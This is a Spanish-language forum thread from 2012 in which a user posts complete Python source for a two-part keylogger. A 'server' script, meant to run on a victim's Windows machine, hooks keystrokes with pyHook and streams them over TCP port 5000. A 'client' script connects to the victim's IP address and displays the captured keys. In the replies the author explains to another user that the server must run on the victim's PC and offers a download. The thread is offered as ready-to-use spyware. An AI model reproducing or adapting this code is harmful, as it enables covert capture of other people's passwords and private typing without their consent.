Expermicid Posted October 16, 2012 Share Posted October 16, 2012 (edited) Hola a todos. Hoy como a la tarde tuve un dia de lluvia me puse e hice este pequeño code. Buscando informacion por San Google encontre las apis pythoncom y pyHook e hice mi version de un keylogger. Esta muy basico y tengo pensado mejorar el codigo. Pero para la version 1.0 creo que es demasiado xD Asi que lo comparto. Cliente: [lenguaje=python]#!/usr/bin/env python ################################## ## ## ## Keylogger v1.0 ## ## By Expermicid ## ## Fecha : 15/10/12 ## ## Cliente ## ## ## ################################## import socket import os, sys print '\nKeylogger v1.0 --- By Expermicid\n' ipVictima = raw_input('introduzca la IP de la victima >>> ') host = ipVictima port = 5000 addr = (host, port) try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(addr) except s.error: print 'Error de coneccion :(' raw_input() else: print 'Coneccion exitosa :)\n' texto = '' while True : recibido = s.recv(1024) texto += recibido sys.stdout.write(os.popen('clear').read()) print texto[/lenguaje] Server: [lenguaje=python]################################## ## ## ## Keylogger v1.0 ## ## By Expermicid ## ## Fecha : 15/10/12 ## ## Server ## ## ## ################################## import socket import pythoncom, pyHook def OnKeyboardEvent(event) : # letras minusculas y letras mayusculas if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) : sc.send(chr(event.Ascii)) # numeros elif event.Ascii > 47 and event.Ascii < 58 : sc.send(chr(event.Ascii)) # F1 .. F12 elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Espacio elif event.Ascii == 32 : sc.send(chr(event.Ascii)) # Enter elif event.Ascii == 13 : sc.send(' [intro] ') # BackSpace elif event.Ascii == 8 : sc.send(' [backSpace] ') # Escape elif event.Ascii == 27 : sc.send(' [Escape] ') # Tab elif event.Ascii == 9 : sc.send(' [Tab] ') # Flechas elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Bloq Mayus elif event.KeyID == 20 and event.Ascii == 0 : sc.send(' [bloqMayus] ') # caracteres elif event.Ascii > 32 and event.Ascii < 48 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 57 and event.Ascii < 65 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 90 and event.Ascii < 97 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 122 and event.Ascii < 127 : sc.send(chr(event.Ascii)) # Insetar / Delete elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # ascii extendido elif event.Ascii > 127 and event.Ascii < 255 : sc.send(chr(event.Ascii)) # Flechas elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Win / Apps elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Inicio-Fin / RePag-AvPag elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((socket.gethostname(), 5000)) s.listen(1) sc, addr = s.accept() except s.error: print 'Error de coneccion :(' else: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() [/lenguaje] Probado, cliente en GNU/Linux y el server en Windows (Maquina virtual) Al ejectura el cliente nos pide ingresar la IP de la victima. This is the hidden content, please Sign In or Sign Up Si se puede conectar a la victima avisa y queda listo para captar las teclas apretadas: This is the hidden content, please Sign In or Sign Up Teclas capturadas: This is the hidden content, please Sign In or Sign Up Cualquier duda, consulta, sugerencia, correccion son 'escuchadas' leidas y bienvenidas. xD Saludos Edited February 16, 2014 by Expermicid Link to comment Share on other sites More sharing options...
Belo Posted October 16, 2012 Share Posted October 16, 2012 Re: [Python] Keylogger v1.0 [by Expermicid] como es que yo con solo poner la ip de mi victima ya capturo las teclaspulsadas?? Link to comment Share on other sites More sharing options...
Expermicid Posted October 16, 2012 Author Share Posted October 16, 2012 Re: [Python] Keylogger v1.0 [by Expermicid] como es que yo con solo poner la ip de mi victima ya capturo las teclaspulsadas?? No es tan facil asi. Si veras hay dos codes. El cliente es el que tienes tu en tu pc y el server es el codigo que tiene que correr en la victima. Link to comment Share on other sites More sharing options...
Belo Posted October 16, 2012 Share Posted October 16, 2012 Re: [Python] Keylogger v1.0 [by Expermicid] aaa claro no me di cuenta me podes pasar el payton asi conpilo? Link to comment Share on other sites More sharing options...
Expermicid Posted October 16, 2012 Author Share Posted October 16, 2012 Re: [Python] Keylogger v1.0 [by Expermicid] This is the hidden content, please Sign In or Sign Up ahi puedes descargar para plataforma de windows si tienes alguna distribucion de GNU/Linux usa la consola. Igual recuerda que python es un lenguaje interpretado Link to comment Share on other sites More sharing options...
Recommended Posts